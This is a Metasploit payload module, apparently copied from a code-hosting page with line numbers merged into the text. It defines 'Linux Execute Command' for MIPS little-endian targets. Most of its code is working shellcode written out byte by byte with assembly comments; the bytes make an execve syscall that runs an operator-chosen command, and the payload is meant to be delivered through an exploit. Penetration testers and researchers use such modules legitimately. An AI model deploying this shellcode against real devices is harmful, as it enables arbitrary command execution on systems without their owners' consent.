Path: blob/master/modules/payloads/singles/linux/mipsle/exec.rb
19516 views
# -*- coding: binary -*-12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67module MetasploitModule8CachedSize = 52910include Msf::Payload::Single1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Linux Execute Command',17'Description' => %q{18A very small shellcode for executing commands.19This module is sometimes helpful for testing purposes as well as20on targets with extremely limited buffer space.21},22'Author' => [23'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload24'[email protected]' # original payload25],26'References' => [27['EDB', '17940']28],29'License' => MSF_LICENSE,30'Platform' => 'linux',31'Arch' => ARCH_MIPSLE,32'Payload' => {33'Offsets' => {},34'Payload' => ''35}36)37)38register_options(39[40OptString.new('CMD', [ true, 'The command string to execute' ]),41]42)43end4445#46# Returns the command string to use for execution47#48def command_string49return datastore['CMD'] || ''50end5152def generate(_opts = {})53shellcode =54"\x66\x06\x06\x24" + # li a2,163855"\xff\xff\xd0\x04" + # bltzal a2,4100b456"\xff\xff\x06\x28" + # slti a2,zero,-157"\xe0\xff\xbd\x27" + # addiu sp,sp,-3258"\x01\x10\xe4\x27" + # addiu a0,ra,409759"\x1f\xf0\x84\x24" + # addiu a0,a0,-406560"\xe8\xff\xa4\xaf" + # sw a0,-24(sp)61"\xec\xff\xa0\xaf" + # sw zero,-20(sp)62"\xe8\xff\xa5\x27" + # addiu a1,sp,-2463"\xab\x0f\x02\x24" + # li v0,401164"\x0c\x01\x01\x01" # syscall 0x404046566#67# Constructs the payload68#6970shellcode = shellcode + command_string + "\x00"7172# we need to align our shellcode to 4 bytes73shellcode += "\x00" while shellcode.bytesize % 4 != 07475return super + shellcode76end77end787980